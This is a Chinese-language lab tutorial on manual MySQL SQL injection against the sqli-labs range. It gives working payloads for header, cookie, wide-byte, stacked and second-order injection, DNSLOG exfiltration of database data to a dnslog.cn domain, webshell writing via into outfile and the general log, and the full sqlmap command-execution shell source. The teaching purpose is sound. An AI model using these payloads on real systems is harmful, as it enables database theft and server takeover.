一、UA注入
UA是用戶(hù)代理(User-Agent)
的縮寫(xiě),里面含有客戶(hù)使用的操作系統(tǒng)及版本、CPU 類(lèi)型、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語(yǔ)言、瀏覽器插件等。
1、原理
一些網(wǎng)站常常通過(guò)判斷 UA 來(lái)給不同的操作系統(tǒng)、不同的瀏覽器發(fā)送不同的頁(yè)面,因此可能造成某些頁(yè)面無(wú)法在某個(gè)瀏覽器中正常顯示。此時(shí)就有可能存在UA 頭注入,一般會(huì)把數(shù)據(jù)插入到某張表中所以可以用報(bào)錯(cuò)注入
。
2、靶場(chǎng)演示:
1)一旦頁(yè)面出現(xiàn)如下現(xiàn)狀,就可以使用UA注入
頁(yè)面上會(huì)對(duì)瀏覽器的版本進(jìn)行辨別
2)BP抓包
正常情況
在UA添加單引號(hào),引發(fā)報(bào)錯(cuò)
3)修改User-Agent
構(gòu)造的POC,獲取數(shù)據(jù)庫(kù)名:1' and updatexml(1,concat(0x7e,database()),1) and '
由于不知道是多少個(gè)參數(shù),所以前面的單引號(hào)是用來(lái)閉合前面的,后面的單引號(hào)是用來(lái)閉合后面的,這里不能使用#來(lái)對(duì)后面的參數(shù)進(jìn)行省略。
后續(xù)獲取其他數(shù)據(jù)的方法和上一節(jié)的聯(lián)合注入大同小異。
二、referer注入
1、原理
報(bào)文中referer就是
你的瀏覽器需要告訴服務(wù)器你是從哪個(gè)地方訪問(wèn)服務(wù)器的(來(lái)源)
,大部分網(wǎng)站或者app都會(huì)寫(xiě)入數(shù)據(jù)庫(kù)用來(lái)分析量從哪里來(lái),以及統(tǒng)計(jì)廣告投入的成本,一般會(huì)把數(shù)據(jù)插入到某張表中所以可以用報(bào)錯(cuò)注入
。
2、靶場(chǎng)演示:
這個(gè)靶場(chǎng)會(huì)記錄來(lái)源的IP地址
1)使用BP抓包
正確輸入的包
發(fā)生報(bào)錯(cuò)的數(shù)據(jù)包
2)修改Referer
構(gòu)造的POC,獲取數(shù)據(jù)庫(kù)名:
’ and updatexml(1,concat(0x7e,database()),1) and ’
由于不知道是多少個(gè)參數(shù),所以前面的單引號(hào)是用來(lái)閉合前面的,后面的單引號(hào)是用來(lái)閉合后面的,這里不能使用 #
來(lái)對(duì)后面的參數(shù)進(jìn)行省略。
后續(xù)獲取其他數(shù)據(jù)的方法和上一節(jié)的聯(lián)合注入大同小異。
三、DNSLOG外帶
1、使用場(chǎng)景
通常我們面對(duì)SQL注入過(guò)程中沒(méi)有回顯的情況下,只能通過(guò)盲注的方式來(lái)判斷是否存在SQL注入,但是,使用盲注,手工測(cè)試是需要花費(fèi)大量的時(shí)間的,可能會(huì)想到使用sqlmap直接去跑出數(shù)據(jù),但在實(shí)際測(cè)試中,使用sqlmap跑盲注,有很大的幾率,網(wǎng)站把ip給封掉
,這就影響了我們的測(cè)試進(jìn)度,也許你也可以使用代理池。
我們輸入域名之后 我們的本地域名服務(wù)器會(huì)把在自身服務(wù)器里面查詢(xún)是否存在ip地址 如果沒(méi)有則發(fā)送到根域名服務(wù)器 如果根域名服務(wù)器里面有對(duì)應(yīng)的記錄則返回 如果沒(méi)有則告訴本地域名服務(wù)器去向頂級(jí)域名服務(wù)器查找。
2、DNS
dns在解析的時(shí)候會(huì)留下記錄。
簡(jiǎn)單來(lái)說(shuō),當(dāng)dns服務(wù)器是我們自己的時(shí),我們就可以通過(guò)查看日志來(lái)查詢(xún)一些信息。
3、注入所需條件
-
1、dns帶外查詢(xún)屬于MySQL注入,在MySQL中有個(gè)系統(tǒng)屬性
secure_file_priv特性,該屬性值必須為空
(等于號(hào)后面沒(méi)有任何內(nèi)容)。 -
2、使用
LOAD_FILE()函數(shù)
:LOAD_FILE()函數(shù)讀取一個(gè)文件并將其內(nèi)容作為字符串返回。
語(yǔ)法為:load_file(file_name),其中file_name是文件的完整路徑 -
3、所以需要
root權(quán)限
,并且服務(wù)器要為Windows操作系統(tǒng)
。
4、使用方法
將dnslog平臺(tái)中的特有字段payload帶入目標(biāo)發(fā)起dns請(qǐng)求,通過(guò)dns解析將請(qǐng)求后的關(guān)鍵信息組合成新的三級(jí)域名帶出,在ns服務(wù)器的dns日志中顯示出來(lái)。
5、靶場(chǎng)演示:
1)生成一個(gè)DNS域名
先在DNSlog平臺(tái)上隨機(jī)生成一個(gè)本地IP的DNS域名:
29lrdw.dnslog.cn
本地ping一下該DNS域名的隨機(jī)子域名:
這里我隨機(jī)輸入的asd就成功帶出來(lái)了。
2)開(kāi)啟MySQL中的secure_file_priv屬性
然后重啟MySQL
3)使用BP進(jìn)行操作
利用注入語(yǔ)句獲取數(shù)據(jù)庫(kù)名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+database()),'.29lrdw.dnslog.cn/qwe')))--+
返回DNSLOG頁(yè)面查看
這里就把數(shù)據(jù)庫(kù)名給帶出來(lái)了
獲取當(dāng)前用戶(hù)名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+ hex(user())),'.29lrdw.dnslog.cn/qwe')))--+
返回DNSLOG頁(yè)面查看
使用hex解碼
這樣字就成功獲得當(dāng)前的用戶(hù)名了。
4)為什么要對(duì)查詢(xún)的內(nèi)容進(jìn)行hex編碼
如果我們要查詢(xún)的用戶(hù)名中存在特殊字符:如!@#$%^&
。最后在請(qǐng)求DNS服務(wù)器時(shí)變成:!@#$%^&*. 29lrdw.dnslog.cn。存在特殊字符的域名無(wú)法解析
。因此在DNS日志中也找不到我們查詢(xún)的數(shù)據(jù)。因此需要編碼后進(jìn)行查詢(xún),例如上述的用戶(hù)名是root@localhost,存在特殊字符@,這個(gè)是無(wú)法DNS服務(wù)器是無(wú)法解析的,這就需要hex編碼
后查詢(xún)出結(jié)果再解碼。
在我們查詢(xún)時(shí),當(dāng)不確定查詢(xún)結(jié)果是否存在特殊字符時(shí),最好先將其hex編碼后再帶入查詢(xún)。
四、cookie注入
1、注入的原理
對(duì)get傳遞來(lái)的參數(shù)進(jìn)行了過(guò)濾,但是忽略了cookie也可以傳遞參數(shù)。
cookie注入其原理也和平時(shí)的注入一樣,只不過(guò)說(shuō)我們是將提交的參數(shù)以cookie方式提交,而一般的注入我們是使用get或者post方式提交。
(get方式提交就是直接在網(wǎng)址后面加上需要注入的語(yǔ)句,post則是通過(guò)表單方式,get和post的不同之處就在于一個(gè)我們可以通過(guò)IE地址欄處看到我們提交的參數(shù),而另外一個(gè)卻不能。)
cookie注入:修改自身cookie , 后臺(tái)獲取到這個(gè)cookie后 , 會(huì)直接拿去數(shù)據(jù)庫(kù)里面進(jìn)行比較 , 比較的時(shí)候就有可能注入。注意:該注入一般可以聯(lián)合XSS攻擊一起使用
2、靶場(chǎng)演示:
1)通過(guò)BP抓包下面的情況就存在cookie注入
2)尋找注入點(diǎn),使用單引號(hào)測(cè)試
在cookie后面的admin添加一個(gè)單引號(hào)出現(xiàn)報(bào)錯(cuò),那么,這里就存在注入
3)構(gòu)造POC注入
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),1) #
注意上面的POC是使用#
來(lái)忽略后面的內(nèi)容,而不是使用 - -
五、寬字節(jié)注入
1、注入原理
數(shù)據(jù)庫(kù)使用GBK編碼
的時(shí)候,會(huì)將兩個(gè)字符合并成一個(gè)中文。特殊值字符如單引號(hào)都會(huì)被轉(zhuǎn)義。如: ' -> \' (%27 -> %5c%27)
這時(shí)我們就可以在單引號(hào)( ' )前面
添加一個(gè)隨機(jī)的GBK編碼,例如:%df,該編碼會(huì)把斜杠( \ )吃掉,從而把后面的單引號(hào)( ’ )解放出來(lái),%df%27在GBK編碼中會(huì)變成%df%5c%27
,這時(shí)候%df%5c會(huì)合并成一個(gè)漢字
,剩下的%27( ' )
就被獨(dú)立解放出來(lái)了。
2、靶場(chǎng)演示:
1)下面這種情況就存在寬字節(jié)注入
添加一個(gè)'
,會(huì)自動(dòng)添加\
轉(zhuǎn)義這種方法來(lái)進(jìn)行過(guò)濾。
2)構(gòu)造POC注入
http:// 192.168.43.110:9006/Less-32/?id=-1%df%27 union select 1,database(),user()--+
這樣子就把數(shù)據(jù)庫(kù)名和用戶(hù)名獲取到了。
注:
這里是假設(shè)已經(jīng)知道了該表只有3列的前提,具體前置過(guò)程可以參數(shù)前面的聯(lián)合注入。
六、堆疊注入
1、注入原理
在SQL中,分號(hào)(;)是用來(lái)表示一條sql語(yǔ)句的結(jié)束。試想一下我們?cè)?; 結(jié)束一個(gè)sql語(yǔ)句后繼續(xù)構(gòu)造下一條語(yǔ)句,會(huì)不會(huì)一起執(zhí)行?
因此這個(gè)想法也就造就了堆疊注入。
2、聯(lián)合注入和堆疊注入的區(qū)別
區(qū)別就在于union 或者union all執(zhí)行的語(yǔ)句類(lèi)型是有限的,聯(lián)合注入用來(lái)執(zhí)行查詢(xún)語(yǔ)句
,而堆疊注入可以執(zhí)行的是任意的語(yǔ)句
。
3、靶場(chǎng)模擬:
如下圖構(gòu)造POC:
http:// 192.168.43.110:9006/ /Less-38/?id=1'; insert into users(id,username,password)values(100,'kkkddd','kkkddd')--+
接著返回靶場(chǎng)查看數(shù)據(jù)庫(kù)
這樣子就把創(chuàng)建用戶(hù)的MySql命令注入成功了。
七、二次注入
1、注入原理
輸入的內(nèi)容會(huì)被轉(zhuǎn)換成字符串形式存儲(chǔ)到數(shù)據(jù)庫(kù),從而會(huì)使得無(wú)法執(zhí)行。那么我們就可以先把POC存儲(chǔ)進(jìn)數(shù)據(jù)庫(kù)
,然后把存在數(shù)據(jù)里面的POC調(diào)取出來(lái)執(zhí)行,從而達(dá)到注入的效果。
一般情況下,賬戶(hù)名是不允許輸入 # @ \ ’ 等特殊符號(hào)的,但可以做一個(gè)嘗試,假如真的嘗試出來(lái)了,那就可以嘗試進(jìn)行二次注入了。
2、使用場(chǎng)景
在知道某個(gè)賬號(hào)名的存在,而想修改該賬號(hào)對(duì)應(yīng)的密碼。例如我知道存在一個(gè)賬號(hào)叫:admin
,然后我就創(chuàng)建一個(gè)賬號(hào)叫:admin'#
,同時(shí)修改 admin’# 賬號(hào)的密碼,從而達(dá)到修改 admin 的密碼。
3、靶場(chǎng)舉例:
1)下面例子存在二次注入
這里利用admin賬號(hào)
正常登錄,我返回的數(shù)據(jù)包長(zhǎng)度是265
上面無(wú)論我在login_user后面添加一個(gè)單引號(hào)還是兩個(gè)單引號(hào),或者其他字符,都會(huì)發(fā)生報(bào)錯(cuò),也就是說(shuō)輸入的內(nèi)容會(huì)全部變換成字符串形式來(lái)進(jìn)行存儲(chǔ)、查詢(xún)。
2)創(chuàng)建一個(gè)新的賬號(hào)
新賬號(hào)名:admin'#
新賬號(hào)密碼:123456
登錄成功。
3)修改新賬號(hào)的密碼
賬號(hào)名:admin'#
新賬號(hào)密碼:111111
4)退出后再次登錄查看結(jié)果
嘗試登錄admin'#
賬號(hào),發(fā)現(xiàn)新改的密碼:111111無(wú)法登錄,還是得使用原來(lái)得舊密碼123456。
嘗試登錄admin
賬號(hào),發(fā)現(xiàn)原來(lái)的密碼:admin無(wú)法登錄,密碼變成了:111111。
5)語(yǔ)句講解:
這里是使用了下面的SQL語(yǔ)句:
UPDATE users SET PASSWORD=’111111’ where username='admin'#'
and password=’123456’;
這里不難看出,調(diào)用時(shí)#
后面的內(nèi)容時(shí)全部忽略的,變成:
UPDATE users SET PASSWORD=’111111’ where username='admin'
原本時(shí)修改admin'#
賬號(hào),就變成修改admin
賬號(hào)了。
八、GETSHELL
1、利用SQL注入獲取MYSQL數(shù)據(jù)庫(kù)權(quán)限的條件
- 1)root用戶(hù)最高權(quán)限
- 2)知道網(wǎng)站的絕對(duì)路徑
- 3)
secure_file_priv
=為空或者在網(wǎng)站的根目錄下
2、文件讀寫(xiě)注入的原理
就是利用文件的讀寫(xiě)權(quán)限進(jìn)行注入,它可以寫(xiě)入一句話(huà)木馬,也可以讀取系統(tǒng)文件的敏感信息。
3、文件讀寫(xiě)注入的條件
高版本的MYSQL添加了一個(gè)新的特性secure_file_priv
,該選項(xiàng)限制了mysql導(dǎo)出文件的權(quán)限
4、secure_file_priv選項(xiàng)
-
1)secure_file_priv=
代表對(duì)文件讀寫(xiě)沒(méi)有限制 -
2)secure_file_priv=NULL
代表不能進(jìn)行文件讀寫(xiě) -
3)secure_file_priv=d :/phpstudy /mysql/data
代表只能對(duì)該路徑下文件進(jìn)行讀寫(xiě)
命令:show global variables like '%secure%'
#查看mysql全局變量的配置
5、常見(jiàn)網(wǎng)站的絕對(duì)路徑
-
1)Windows常見(jiàn)
-
2)Linux常見(jiàn)
6、路徑獲取常見(jiàn)方式
報(bào)錯(cuò)顯示,遺留文件,漏洞報(bào)錯(cuò),平臺(tái)配置文件等
7、讀取文件
1)使用的函數(shù)
使用load_file()
讀取文件
2)路徑注意點(diǎn)
路徑不能使用反斜杠(\)
。可以使用斜杠(/)
、雙反斜杠(\\)
、0x,char
轉(zhuǎn)換的字符
3)一般使用聯(lián)合注入來(lái)一起使用
4)靶場(chǎng)演示
-
4.1、在靶機(jī)創(chuàng)建文件
在C:\phpstudy_pro\WWW\sqli-labs-master目錄下建立一個(gè)文件名1.txt,內(nèi)容是:i am 1.txt -
4.2、構(gòu)造POC讀取文件
在靶場(chǎng)使用SQL注入讀取文件,POC是:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,load_file('C:/phpstudy_pro/WWW/sqli-labs-master/1.txt')
,3–+
同理,該方法可以讀取到任意的文件。一般實(shí)戰(zhàn)中我們可以使用這種方法來(lái)讀取網(wǎng)站的配置文件和日志文件。
注意:上面的路徑不能使用反斜杠(\),只能使用斜杠(/)和雙反斜杠(\\)。
8、寫(xiě)入文件
1)使用的函數(shù)
使用函數(shù) into outfile
(能寫(xiě)入多行,按格式輸出)和 into Dumpfile
(只能寫(xiě)入一行,且沒(méi)有臟數(shù)據(jù))
2)outfile函數(shù)注意點(diǎn)
outfile
后面本能接0x開(kāi)頭或者char轉(zhuǎn)換以后的路徑,只能是單引號(hào)路徑
3)靶場(chǎng)演示:
3.1、構(gòu)造POC寫(xiě)入文件
現(xiàn)在要在C:\phpstudy_pro\WWW\sqli-labs-master目錄下創(chuàng)建一個(gè)文件3.txt,并寫(xiě)入內(nèi)容,POC是:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,‘helloword’,3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/3.txt'--+
現(xiàn)在去寫(xiě)入目錄查看
這里就把查詢(xún)的內(nèi)容全部都寫(xiě)入了。
注意:
假如寫(xiě)入的文件名已經(jīng)存在,是會(huì)寫(xiě)入失敗的。
3.2、嘗試寫(xiě)入shell
構(gòu)造的POC:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,'<?php%20@eval($_POST[\'x\']);?>'
,3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/4.php'--+
使用shell工具嘗試連接:
連接成功。
返回查看寫(xiě)入文件:
3.3、into outfile 和 into Dumpfile的區(qū)別
- into outfile無(wú)論怎樣寫(xiě)入都會(huì)存在空格等臟數(shù)據(jù)
- into Dumpfile會(huì)自動(dòng)清楚空格等臟數(shù)據(jù)
如上面例子只想留下單純的php文本,而不想要其他臟文本,就可以使用into Dumpfile,并且把1、3等字符換成‘’(兩個(gè)單引號(hào)的空字符)
九、日志GETSHELL
1、前提條件:
- 1、知道網(wǎng)站的
絕對(duì)路徑
- 2、網(wǎng)站存在
堆疊注入
。 - 3、擁有
root權(quán)限
2、具體步驟:
- 1、查詢(xún)?nèi)罩韭窂剑簊how variables like ‘%general%’;
- 2、開(kāi)啟日志:set global general_log = on; 這個(gè)默認(rèn)時(shí)關(guān)閉的;
- 3、設(shè)置日志路徑:set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
- 4、隨便把shell命令寫(xiě)入到日志中,然后使用工具連接shell
3、靶場(chǎng)演示(已知存在堆疊注入):
1)先查看靶場(chǎng)是否開(kāi)啟了日志:
show variables like ‘%general%’;
這里默認(rèn)是關(guān)閉的。
2)使用堆疊注入開(kāi)啟日志
set global general_log = on;
再返回靶場(chǎng)查看是否已開(kāi)啟:
這里顯示已經(jīng)開(kāi)啟了。
3)使用堆疊注入修改日志的路徑
set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
返回靶場(chǎng)查看
明顯日志路徑已經(jīng)改了。
4、隨便在URL構(gòu)造shell讓他記錄進(jìn)日志
返回查看日志
這樣子shell就成功寫(xiě)入到日志里面了。
十、–os-shell(sqlmap)
1、原理
–os-shell就是使用 udf 提權(quán)獲取WebShell。也是通過(guò) into oufile 向服務(wù)器寫(xiě)入兩個(gè)文件,一個(gè)可以直接執(zhí)行系統(tǒng)命令
,一個(gè)進(jìn)行上傳文件
此為sqlmap的一個(gè)命令
2、利用–os-shell命令的先決條件
- 1、要求為DBA,–is-dba(phpstudy搭建的一般為DBA)
- 2、secure_file_priv沒(méi)有具體值
- 3、知道網(wǎng)站的絕對(duì)路徑
- 4、GPC為off,php主動(dòng)轉(zhuǎn)義的功能關(guān)閉
3、靶場(chǎng)演示:
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
sqlmap 在指定的目錄生成了兩個(gè)文件(文件名是隨機(jī)的,并不是固定的),這里就生成了如下兩個(gè)文件:
tmpbeewq.php 用來(lái)執(zhí)行系統(tǒng)命令
tmpuqvgw.php 用來(lái)上傳文件
3.1、用來(lái)執(zhí)行系統(tǒng)命令文件
tmpbeewq.php的文件內(nèi)容為:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
嘗試執(zhí)行系統(tǒng)命令:
3.2、上傳文件的文件
使用tmpuqvgw.php上傳文件文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-627622.html
我們上傳一個(gè)php的一句話(huà)后門(mén)
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-627622.html
到了這里,關(guān)于網(wǎng)絡(luò)安全進(jìn)階學(xué)習(xí)第十一課——MySQL手工注入(2)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!